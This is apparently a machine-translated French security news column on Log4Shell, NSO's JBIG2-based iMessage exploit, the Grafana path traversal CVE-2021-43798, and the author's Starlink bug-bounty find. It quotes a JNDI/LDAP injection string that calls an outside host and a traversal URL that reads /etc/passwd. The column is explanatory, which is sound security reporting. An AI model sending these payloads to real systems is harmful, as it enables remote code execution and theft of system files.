La grande nouvelle de cette semaine est Log4j, qui arrive quelques heures trop tard pour être incluse dans la chronique de la semaine dernière. Les gens se demandent déjà s’il s’agit de la vulnérabilité la plus grave de tous les temps, et il semble qu’elle soit au moins en cours. Le bogue a été découvert pour la première fois par des professionnels de la sécurité d’Alibaba, qui ont signalé la faille à Apache le 24 novembre. Cloudflare a extrait leurs données et a trouvé des preuves de la vulnérabilité dans la nature dès le 1er décembre. Ces premiers exemples sont très clairsemés et extrêmement ciblés, suffisamment pour que je me demande s’il ne s’agissait pas de chercheurs qui faisaient partie de la divulgation initiale faisant des recherches plus approfondies sur le problème. Quoi qu’il en soit, le 9 décembre, un utilisateur de Twitter a tweeté les détails de la vulnérabilité, et l’enfer de la sécurité s’est déchaîné. Neuf minutes après le tweet, Cloudflare a de nouveau vu une tentative d’exploit, et en huit heures, ils ont traité 20 000 tentatives d’exploit par minute.
C’est la chronologie, mais que se passe-t-il avec l’exploit, et pourquoi est-il si mauvais ? Premièrement, le paquet vulnérable est Log4j
, une bibliothèque de journalisation pour Java. Il permet aux processus d’obtenir des messages de journal là où ils doivent aller, mais avec un tas de cloches et de sifflets inclus. L’une de ces fonctionnalités est la prise en charge de JNDI, un problème de sécurité connu dans Java. Une requête JNDI peut conduire à une attaque de désérialisation, dans laquelle un flux de données entrant est malformé de manière malveillante, se comportant mal lorsqu’il est réintégré dans un objet. Il n’était pas prévu que ces recherches JNDI soient effectuées sur Internet, mais il n’y avait pas de vérification explicite de ce comportement, alors nous y sommes.
La conclusion est que si vous pouvez déclencher une écriture de journal log4j
qui comprend ${jndi:ldap://example.com/a}
, vous pouvez exécuter du code arbitraire sur cette machine. Les chercheurs et les criminels ont déjà trouvé des moyens créatifs de gérer cela, comme inclure la chaîne dans un agent de navigation ou un prénom. Oui, c’est le retour des petites Bobby Tables.Log4j
2.16.0. 2.15.0 contenait un correctif partiel, mais n’éliminait pas complètement le problème. Un Java à jour a également modifié un paramètre par défaut, offrant une atténuation partielle. Mais nous n’avons probablement pas encore vu la fin de celui-ci.
NSO et le CPU émulé dans un PDF
Si quelqu’un d’autre que Project Zero de Google avait raconté cette histoire, je l’aurais rejeté comme un mauvais complot hollywoodien. Cette vulnérabilité se trouve dans l’application iOS iMessage et comment elle gère .gif
fichiers qui contiennent réellement des données PDF. Les PDF sont flexibles, c’est un euphémisme. L’un des formats d’encodage possibles est JBIG2
, un codec de compression noir et blanc de 2000. Une partie du codec est la possibilité d’utiliser les opérateurs booléens AND, OR, XOR et XNOR pour représenter des différences mineures entre les blocs compressés. Un débordement d’entier dans le code de décompression permet à beaucoup plus de mémoire d’être considérée comme une sortie valide pour la décompression, ce qui signifie que le code de décompression peut exécuter ces opérateurs booléens sur cette mémoire supplémentaire.
Maintenant, qu’obtenez-vous lorsque vous avez beaucoup de mémoire et ces quatre opérateurs ? Un processeur complet de Turing, bien sûr. Oui, les chercheurs du groupe NSO ont vraiment construit un processeur virtuel dans une routine de décodage PDF et utilisent cette plate-forme pour amorcer leur évasion du bac à sable. C’est fou, incroyable et brillant. [Ed Note: Too bad the NSO Group is essentially evil.]
Traversée du chemin Grafana
La plate-forme de visualisation Grafana vient de résoudre un problème grave, CVE-2021-43798. Cette vulnérabilité permet la traversée des chemins via les dossiers des plugins. Ainsi par exemple, /public/plugins/alertlist/../../../../../../../../etc/passwd
retournerait le passwd
fichier à partir d’un serveur Linux. Les mises à jour corrigeant ce problème ont été publiées le 7 décembre. Ce bogue était en fait un jour 0 pendant quelques jours, car il était discuté publiquement le 3, mais inconnu des développeurs de Grafana. Consultez leur autopsie pour les détails.
Lien étoile
Et enfin, j’ai quelques recherches originales à couvrir. Vous connaissez peut-être mon travail sur le système Internet par satellite Starlink. Une partie de l’impulsion pour acheter et conserver Starlink était de faire des recherches sur la sécurité sur la plate-forme, et cet objectif a finalement porté ses fruits – à hauteur d’une prime de 4 800 $. Voici l’histoire.
J’ai un ami à proximité qui utilise également Starlink, et le 7 décembre, nous avons découvert que nous avions tous les deux reçu une adresse IPv4 routable publiquement. Comment fonctionne le routage de Starlink entre les abonnés ? Le trafic envoyé de mon réseau vers le sien serait-il acheminé directement sur le satellite, ou chaque paquet devrait-il rebondir sur le satellite, via la station au sol de SpaceX, jusqu’à l’oiseau, puis enfin vers moi ? Traceroute est un outil formidable, et il a répondu à la question :
traceroute to 98.97.92.x (98.97.92.x), 30 hops max, 46 byte packets
1 customer.dllstxx1.pop.starlinkisp.net (98.97.80.1) 25.830 ms 24.020 ms 23.082 ms
2 172.16.248.6 (172.16.248.6) 27.783 ms 23.973 ms 27.363 ms
3 172.16.248.21 (172.16.248.21) 23.728 ms 26.880 ms 28.299 ms
4 undefined.hostname.localhost (98.97.92.x) 59.220 ms 51.474 ms 51.877 ms
Nous ne savions pas exactement ce qu’était chaque saut, mais le nombre de sauts et la latence de chacun indiquent assez clairement que notre trafic passait par une station au sol. Mais il y a quelque chose d’étrange à propos de cette traceroute. L’avez-vous repéré ? 172.16.xy est un réseau privé, selon RFC1918. Le fait qu’il apparaisse dans un traceroute signifie que mon routeur OpenWRT et mon équipement Starlink sont acheminés avec succès depuis mon bureau vers cette adresse. Maintenant, j’ai déjà trouvé ce genre de chose sur le réseau d’un autre FAI. Sachant que cela pouvait être intéressant, j’ai lancé nmap
et scanné les adresses IP privées qui sont apparues dans le traceroute. Bingo.
172.16.248.6 était correctement verrouillé, mais 172.16.248.21 montrait des ports ouverts. À savoir, les ports 179, 9100, 9101 et 50051. Nmap pensait que 179 était BGP, ce qui semblait juste. Mais les autres ? Telnet
. J’étais assez convaincu qu’aucun de ces services n’était en fait des services telnet, mais c’est un bon début pour essayer d’identifier un service inconnu. Ce n’était pas une exception. Les ports 9100 et 9101 m’ont indiqué que j’avais fait une mauvaise demande, en lançant une erreur 400. Ah, c’était des services HTTP ! Tirer les deux dans un navigateur Web m’a donné une sortie de débogage qui semblait provenir d’un serveur Python Flask.
Ce dernier port, 50051, était intéressant. Le seul service que j’ai pu trouver qui y était normalement exécuté était le gRPC de Google, un protocole d’appel de procédure à distance. Grpc_cli
a été utile pour confirmer que c’était ce que j’avais trouvé. Malheureusement, la réflexion a été désactivée, ce qui signifie que le service a refusé d’énumérer les commandes qu’il prenait en charge. Le mappage de toutes les commandes nécessiterait de lancer un tas de données sur ce port.
À ce stade, j’ai commencé à me demander à quel matériel je parlais exactement. C’était BGP, c’était interne au réseau de Starlink, et mon trafic roulait à travers lui. Serait-ce un satellite ? Probablement pas, mais la prime de bogue Starlink est assez claire sur ce qui devrait arriver ensuite. En aucun cas, un chercheur ne doit effectuer des tests en direct sur un satellite ou une autre infrastructure critique. Je soupçonnais que je parlais à une partie de leur infrastructure de routage, probablement à la station au sol de Dallas. Quoi qu’il en soit, pousser trop fort et casser quelque chose était mal vu, alors j’ai écrit la divulgation de ce que j’avais trouvé.
Les ingénieurs de Starlink ont fermé les ports dans les douze heures suivant le rapport et m’ont demandé de revérifier leur triage. Effectivement, alors que je pouvais toujours les IP privées, aucun port n’était ouvert. C’est ici que je dois créditer les gars qui gèrent la prime de bug Starlink de SpaceX. Ils auraient pu appeler cela une simple divulgation d’informations, payer quelques centaines de dollars et l’appeler un jour. Au lieu de cela, ils ont pris le temps d’enquêter et ont confirmé que j’avais effectivement découvert un port gRPC ouvert, puis ont laissé tomber la bombe selon laquelle il s’agissait d’un point de terminaison non authentifié. La découverte a rapporté une récompense initiale de 3 800 $, plus un bonus de 1 000 $ pour un rapport complet et ne pas faire planter leurs systèmes en direct. Comme mon ami local l’a dit en plaisantant à moitié, c’est beaucoup d’argent pour courir nmap
.
Oui, il y avait un peu de chance, combiné à beaucoup d’expérience antérieure avec les bizarreries du réseau. Le principal point à retenir devrait être que la recherche en matière de sécurité ne doit pas toujours être la vulnérabilité et le développement d’exploits super compliqués. Vous n’avez pas besoin de créer un système complet dans un PDF. Parfois, il s’agit simplement d’une analyse IP et de ports, combinée à de la persévérance et un peu de chance. En fait, si votre FAI dispose d’un programme de primes aux bogues, vous pouvez essayer de brancher une machine Linux directement sur le modem et d’analyser la plage d’adresses IP privées. Garde tes yeux ouverts. Vous aussi, vous pourriez trouver quelque chose d’intéressant.